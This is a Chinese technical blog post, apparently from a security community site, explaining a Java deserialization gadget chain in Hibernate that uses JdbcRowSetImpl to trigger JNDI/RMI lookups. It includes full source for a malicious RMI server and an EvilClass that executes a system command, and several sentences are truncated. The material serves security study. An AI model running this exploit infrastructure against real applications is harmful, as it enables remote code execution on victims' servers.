Java反序列化漏洞-金蛇剑之hibernate(下)

b5mali4 / 2018-02-07 00:52:00 / 浏览数 3305 技术文章 技术文章 顶(0) 踩(0)

前言:

金蛇剑:此剑金光灿烂形状奇特，剑身犹如是一条蛇盘曲而成。蛇尾构成剑尖蛇头藏与剑柄，握在手中甚是沉重，原是由黄金铸造而成。此剑形状甚是奇特，整柄剑就如是一

主角:

hibernate

介绍:

Hibernate是一个开放源代码的对象关系映射框架，它对JDBC进行了非常轻量级的对象封装，它将POJO与数据库表建立映射关系，是一个全自动的orm框架，hibernate可
web程序员必备面试宝典,ssh(spring+struts2+hibernate)，当年笔者上javaweb课时，老师安利ssh,可见hibernate当年影响力多大。今天笔者跟着大家一起来学习分析hib

正文:

接着上一篇写，其实这篇和上篇利用链区别不是很大，只是将TemplatesImpl用JdbcRowSetImpl替换，要想讲清楚这个，必须先要讲下JNDI,翻译过来为Java命令和目录接

其中rmi,dns，ldap等等都是 JNDI 具体的实现方式。这篇的主角JdbcRowSetImpl，就是实现了rmi。RMI全称是Remote Method
Invocation - 远程方法调用，Java
RMI在JDK1.1中实现的，其威力就体现在它强大的开发分布式网络应用的能力上，是纯Java的网络分布式应用系统的核心解决方案之一。关于具体用法可以参考这篇文章，
JdbcRowSetImpl是被封装在idk中的一个类，通过巧妙的调用该类，可以去访问一个恶意的rmi服务。换句话说，如果能控制JdbcRowSetImpl，所有的java应用必将带来实

我们只需要将method改为prepare，getDatabaseMetaData，setAutoCommit三者任意一个，同时将target指定为JdbcRowSetImpl对象即可。构造一个恶意rim服务源码

```
public class EvilClass {
   public EvilClass() throws Exception {
       Runtime rt = Runtime.getRuntime();
       String[] commands = {"open", "/Applications/Calculator.app/Contents/MacOS/Calculator"};
       Process pc = rt.exec(commands);
   }
   }

public class EvilRmiServer {
public static void main(String[] args){
   try {
       String serverAddress = "127.0.0.1";
       System.out.println("Start HTTP SERVER...");
       startHttpServer();
       System.out.println("Creating RMI Registry");
       registryRmi(serverAddress);
       //jndi■■■■■
       String jndiAddress = "rmi://"+serverAddress+":1099/Object";
       System.out.println(jndiAddress);
   } catch(Exception e) {
       e.printStackTrace();
   }

}
public static void startHttpServer() throws IOException {
   HttpServer httpServer = HttpServer.create(new InetSocketAddress(8088), 0);
   httpServer.createContext("/",new HttpFileHandler());
   httpServer.setExecutor(null);
   httpServer.start();
}
public static void registryRmi(String serverAddress) throws RemoteException, NamingException, AlreadyBoundException {
   Registry registry = LocateRegistry.createRegistry(1099);
   Reference reference = new javax.naming.Reference("EvilClass","EvilClass","http://"+serverAddress+":8088/");
   ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(reference);
   registry.bind("Object", referenceWrapper);

}
}
```

这里有一个很关键的地方，运行服务，并且调用lookup之后会提示类无法加载,其实是package的问题，上面的类，都不要放在任何packeage里面，直接根目录。执行的过程

点击收藏 | 0 关注 | 1

上一篇：java反序列化漏洞-金蛇剑之hi... 下一篇：看完这篇你还敢自拍吗？

1. 0 条回复
   - 动动手指，沙发就是你的了！

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板